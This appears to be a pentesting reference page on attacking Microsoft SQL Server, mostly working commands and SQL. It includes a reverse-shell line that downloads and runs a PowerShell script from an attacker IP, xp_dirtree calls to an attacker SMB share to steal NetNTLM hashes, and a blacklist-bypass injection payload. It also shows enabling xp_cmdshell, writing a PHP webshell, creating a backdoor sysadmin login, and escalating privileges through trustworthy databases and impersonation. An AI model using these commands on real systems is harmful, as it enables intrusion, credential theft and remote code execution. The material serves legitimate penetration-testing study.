## Basic Information
|
||
|
||
**Microsoft SQL Server** is a **relational database** management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).\
|
||
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server).
|
||
|
||
**Default port:** 1433
|
||
|
||
```
|
||
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
||
```
|
||
|
||
### **Default MS-SQL System Tables**
|
||
|
||
* **master Database**: Records all the system-level information for an instance of SQL Server.
|
||
* **msdb Database**: Is used by SQL Server Agent for scheduling alerts and jobs.
|
||
* **model Database**: Is used as the template for all databases created on the instance of SQL Server. Modifications made to the model database, such as database size, collation, recovery model, and other database options, are applied to any databases created afterwards.
|
||
* **Resource Databas**: Is a read-only database that contains system objects that are included with SQL Server. System objects are physically persisted in the Resource database, but they logically appear in the sys schema of every database.
|
||
* **tempdb Database** : Is a work-space for holding temporary objects or intermediate result sets.
|
||
|
||
## Enumeration
|
||
|
||
### Automatic Enumeration
|
||
|
||
If you don't know nothing about the service:
|
||
|
||
```bash
|
||
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||
```
|
||
|
||
{% hint style="info" %}
|
||
If you **don't** **have credentials** you can try to guess them. You can use nmap or metasploit. Be careful, you can **block accounts** if you fail login several times using an existing username.
|
||
{% endhint %}
|
||
|
||
#### Metasploit (need creds)
|
||
|
||
```bash
|
||
#Set USERNAME, RHOSTS and PASSWORD
|
||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||
|
||
#Steal NTLM
|
||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
|
||
|
||
#Info gathering
|
||
msf> use admin/mssql/mssql_enum #Security checks
|
||
msf> use admin/mssql/mssql_enum_domain_accounts

||
|
||
#Privesc
|
||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
|
||
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
|
||
|
||
#Code execution

msf> use admin/mssql/mssql_exec #Execute commands
|
||
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
||
|
||
#Add new admin user from meterpreter session
|
||
msf> use windows/manage/mssql_local_auth_bypass
|
||
```
|
||
|
||
### [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||
|
||
### Manual Enumeration
|
||
|
||
#### Login
|
||
|
||
```bash
|
||
# Using Impacket mssqlclient.py
|
||
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
||
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
|
||
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
||
|
||
# Using sqsh
|
||
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
|
||
## In case Windows Auth using "." as domain name for local user
|
||
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
|
||
## In sqsh you need to use GO after writting the query to send it
|
||
1> select 1;
|
||
2> go
|
||
```
|
||
|
||
#### Common Enumeration
|
||
|
||
```sql
|
||
# Get version
|
||
select @@version;
|
||
# Get user
|
||
select user_name();
|
||
# Get databases
|
||
SELECT name FROM master.dbo.sysdatabases;
|
||
# Use database
|
||
USE master
|
||
|
||
#Get table names
|
||
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
|
||
#List Linked Servers
|
||
EXEC sp_linkedservers
|
||
SELECT * FROM sys.servers;
|
||
#List users
|
||
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
|
||
#Create user with sysadmin privs
|
||
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
|
||
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
|
||
```
|
||
|
||
#### Get User
|
||
|
||
{% content-ref url="types-of-mssql-users.md" %}
|
||
[types-of-mssql-users.md](types-of-mssql-users.md)
|
||
{% endcontent-ref %}
|
||
|
||
```sql
|
||
# Get all the users and roles
|
||
select * from sys.database_principals;
|
||
## This query filters a bit the results
|
||
select name,
|
||
create_date,
|
||
modify_date,
|
||
type_desc as type,
|
||
authentication_type_desc as authentication_type,
|
||
sid
|
||
from sys.database_principals
|
||
where type not in ('A', 'R')
|
||
order by name;
|
||
|
||
## Both of these select all the users of the current database (not the server).
|
||
## Interesting when you cannot acces the table sys.database_principals
|
||
EXEC sp_helpuser
|
||
SELECT * FROM sysusers
|
||
```
|
||
|
||
#### Get Permissions
|
||
|
||
Some introduction about some MSSQL terms:
|
||
|
||
1. **Securable:** These are the resources to which the SQL Server Database Engine authorization system controls access. There are three broader categories under which a securable can be differentiated:
|
||
* Server – For example databases, logins, endpoints, availability groups and server roles
|
||
* Database – For example database role, application roles, schema, certificate, full text catalog, user
|
||
* Schema – For example table, view, procedure, function, synonym
|
||
2. **Permission:** Every SQL Server securable has associated permissions like ALTER, CONTROL, CREATE that can be granted to a principal. Permissions are managed at the server level using logins and at the database level using users.
|
||
3. **Principal:** The entity that receives permission to a securable is called a principal. The most common principals are logins and database users. Access to a securable is controlled by granting or denying permissions or by adding logins and users to roles which have access.
|
||
|
||
```sql
|
||
# Show all different securables names
|
||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||
# Show all possible permissions in MSSQL
|
||
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
|
||
# Get all my permissions over securable type SERVER
|
||
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
|
||
# Get all my permissions over a database
|
||
USE <database>
|
||
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
|
||
# Get members of the role "sysadmin"
|
||
Use master
|
||
EXEC sp_helpsrvrolemember 'sysadmin';
|
||
# Get if the current user is sysadmin
|
||
SELECT IS_SRVROLEMEMBER('sysadmin');
|
||
# Get users that can run xp_cmdshell
|
||
Use master
|
||
EXEC sp_helprotect 'xp_cmdshell'
|
||
```
|
||
|
||
## Tricks
|
||
|
||
### Execute OS Commands
|
||
|
||
{% hint style="danger" %}
|
||
Note that in order to be able to execute commands it's not only necessary to have **`xp_cmdshell`** **enabled**, but also have the **EXECUTE permission on the `xp_cmdshell` stored procedure**. You can get who (except sysadmins) can use **`xp_cmdshell`** with:
|
||
|
||
```sql
|
||
Use master
|
||
EXEC sp_helprotect 'xp_cmdshell'
|
||
```
|
||
{% endhint %}
|
||
|
||
```bash
|
||
# Username + Password + CMD command
|
||
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
|
||
# Username + Hash + PS command
|
||
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
|
||
|
||
# Check if xp_cmdshell is enabled
|
||
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
|
||
|
||
# This turns on advanced options and is needed to configure xp_cmdshell
|
||
sp_configure 'show advanced options', '1'
|
||
RECONFIGURE
|
||
#This enables xp_cmdshell
|
||
sp_configure 'xp_cmdshell', '1'
|
||
RECONFIGURE
|
||
|
||
#One liner
|
||
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
|
||
|
||
# Quickly check what the service account is via xp_cmdshell
|
||
EXEC master..xp_cmdshell 'whoami'
|
||
# Get Rev shell
|
||
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
|
||
|
||
# Bypass blackisted "EXEC xp_cmdshell"
|
||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||
```
|
||
|
||
### Steal NetNTLM hash / Relay attack
|
||
|
||
You should start a **SMB server** to capture the hash used in the authentication (`impacket-smbserver` or `responder` for example).
|
||
|
||
```bash
|
||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
|
||
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
|
||
|
||
# Capture hash
|
||
sudo responder -I tun0
|
||
sudo impacket-smbserver share ./ -smb2support
|
||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||
```
|
||
|
||
{% hint style="warning" %}
|
||
You can check if who (apart sysadmins) has permissions to run those MSSQL functions with:
|
||
|
||
```sql
|
||
Use master;
|
||
EXEC sp_helprotect 'xp_dirtree';
|
||
EXEC sp_helprotect 'xp_subdirs';
|
||
EXEC sp_helprotect 'xp_fileexist';
|
||
```
|
||
{% endhint %}
|
||
|
||
Using tools such as **responder** or **Inveigh** it's possible to **steal the NetNTLM hash**.\
|
||
You can see how to use these tools in:
|
||

|
||
{% endcontent-ref %}

### Abusing MSSQL trusted Links
|
||
|
||
[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **to find more information about how to abuse this feature:**

|
||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||
{% endcontent-ref %}
|
||
|
||
### **Write Files**
|
||
|
||
To write files using `MSSQL`, we **need to enable** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), which requires admin privileges, and then execute some stored procedures to create the file:
|
||
|
||
```bash
|
||
# Enable Ole Automation Procedures
|
||
sp_configure 'show advanced options', 1
|
||
RECONFIGURE
|
||
|
||
sp_configure 'Ole Automation Procedures', 1
|
||
RECONFIGURE
|
||
|
||
# Create a File
|
||
DECLARE @OLE INT
|
||
DECLARE @FileID INT
|
||
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
|
||
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
|
||
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
|
||
EXECUTE sp_OADestroy @FileID
|
||
EXECUTE sp_OADestroy @OLE
|
||
```
|
||
|
||
### **Read file with** OPENROWSET
|
||
|
||
By default, `MSSQL` allows file **read on any file in the operating system to which the account has read access**. We can use the following SQL query:
|
||
|
||
```sql
|
||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||
```
|
||
|
||
However, the **`BULK`** option requires the **`ADMINISTER BULK OPERATIONS`** or the **`ADMINISTER DATABASE BULK OPERATIONS`** permission.
|
||
|
||
```sql
|
||
# Check if you have it
|
||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||
```
|
||
|
||
#### Error-based vector for SQLi:
|
||
|
||
```
|
||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||
```
|
||
|
||
### **RCE/Read files executing scripts (Python and R)**
|
||
|
||
MSSQL could allow you to execute **scripts in Python and/or R**. These code will be executed by a **different user** than the one using **xp\_cmdshell** to execute commands.
|
||
|
||
Example trying to execute a **'R'** _"Hellow World!"_ **not working**:
|
||
|
||
 (1).png>)
|
||
|
||
Example using configured python to perform several actions:
|
||
|
||
```sql
|
||
# Print the user being used (and execute commands)
|
||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
|
||
#Open and read a file
|
||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
|
||
#Multiline
|
||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
|
||
import sys
|
||
print(sys.version)
|
||
'
|
||
GO
|
||
```
|
||
|
||
### Read Registry
|
||
|
||
Microsoft SQL Server provides **multiple extended stored procedures** that allow you to interact with not only the network but also the file system and even the [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||
|
||
| **Regular** | **Instance-Aware** |
|
||
| ---------------------------- | -------------------------------------- |
|
||
| sys.xp\_regread | sys.xp\_instance\_regread |
|
||
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
||
| sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys |
|
||
| sys.xp\_regwrite | sys.xp\_instance\_regwrite |
|
||
| sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue |
|
||
| sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey |
|
||
| sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring |
|
||
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
|
||
|
||
```sql
|
||
# Example read registry
|
||
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
|
||
# Example write and then read registry
|
||
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
|
||
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
|
||
# Example to check who can use these functions
|
||
Use master;
|
||
EXEC sp_helprotect 'xp_regread';
|
||
EXEC sp_helprotect 'xp_regwrite';
|
||
```
|
||
|
||

|
||
|
||
### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||
|
||
It's possible to **load a .NET dll within MSSQL with custom functions**. This, however, **requires `dbo` access** so you need a connection with database **as `sa` or an Administrator role**.
|
||
|
||
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) to see an example.
|
||
|
||
### Other ways for RCE
|
||
|
||
There are other methods to get command execution, such as adding [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), and [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).

## MSSQL Privilege Escalation
|
||
|
||
### From db\_owner to sysadmin
|
||
|
||
If a **regular user** is given the role **`db_owner`** over the **database owned by an admin** user (such as **`sa`**) and that database is configured as **`trustworthy`**, that user can abuse these privileges to **privesc** because **stored procedures** created in there that can **execute** as the owner (**admin**).
|
||
|
||
```sql
|
||
# Get owners of databases
|
||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||
|
||
# Find trustworthy databases
|
||
SELECT a.name,b.is_trustworthy_on
|
||
FROM master..sysdatabases as a
|
||
INNER JOIN sys.databases as b
|
||
ON a.name=b.name;
|
||
|
||
# Get roles over the selected database (look for your username as db_owner)
|
||
USE <trustworthy_db>
|
||
SELECT rp.name as database_role, mp.name as database_user
|
||
from sys.database_role_members drm
|
||
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
|
||
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
|
||
|
||
# If you found you are db_owner of a trustworthy database, you can privesc:
|
||
--1. Create a stored procedure to add your user to sysadmin role
|
||
USE <trustworthy_db>
|
||
|
||
CREATE PROCEDURE sp_elevate_me
|
||
WITH EXECUTE AS OWNER
|
||
AS
|
||
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
|
||
|
||
--2. Execute stored procedure to get sysadmin role
|
||
USE <trustworthy_db>
|
||
EXEC sp_elevate_me
|
||
|
||
--3. Verify your user is a sysadmin
|
||
SELECT is_srvrolemember('sysadmin')
|
||
```
|
||
|
||
You can use a **metasploit** module:
|
||
|
||
```bash
|
||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||
```
|
||
|
||
Or a **PS** script:
|
||
|
||
```powershell
|
||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||
```
|
||
|
||
### Impersonation of other users
|
||
|
||
SQL Server has a special permission, named **`IMPERSONATE`**, that **allows the executing user to take on the permissions of another user** or login until the context is reset or the session ends.
|
||
|
||
```sql
|
||
# Find users you can impersonate
|
||
SELECT distinct b.name
|
||
FROM sys.server_permissions a
|
||
INNER JOIN sys.server_principals b
|
||
ON a.grantor_principal_id = b.principal_id
|
||
WHERE a.permission_name = 'IMPERSONATE'
|
||
# Check if the user "sa" or any other high privileged user is mentioned
|
||
|
||
# Impersonate sa user
|
||
EXECUTE AS LOGIN = 'sa'
|
||
SELECT SYSTEM_USER
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
```
|
||
|
||
{% hint style="info" %}
|
||
If you can impersonate a user, even if he isn't sysadmin, you should check i**f the user has access** to other **databases** or linked servers.
|
||
{% endhint %}
|
||
|
||
Note that once you are sysadmin you can impersonate any other one:
|
||
|
||
```sql
|
||
-- Impersonate RegUser
|
||
EXECUTE AS LOGIN = 'RegUser'
|
||
-- Verify you are now running as the the MyUser4 login
|
||
SELECT SYSTEM_USER
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
-- Change back to sa
|
||
REVERT
|
||
```
|
||
|
||
You can perform this attack with a **metasploit** module:
|
||
|
||
```bash
|
||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||
```
|
||
|
||
or with a **PS** script:
|
||
|
||
```powershell
|
||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
||
```
|
||
|
||
## Using MSSQL for Persistence

|
||
|
||
## Local Privilege Escalation
|
||
|
||
The user running MSSQL server will have enabled the privilege token **SeImpersonatePrivilege.**\
|
||
You probably will be able to **escalate to Administrator** following one of these 2 paged:
|
||
|
||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %}

|

{% endcontent-ref %}
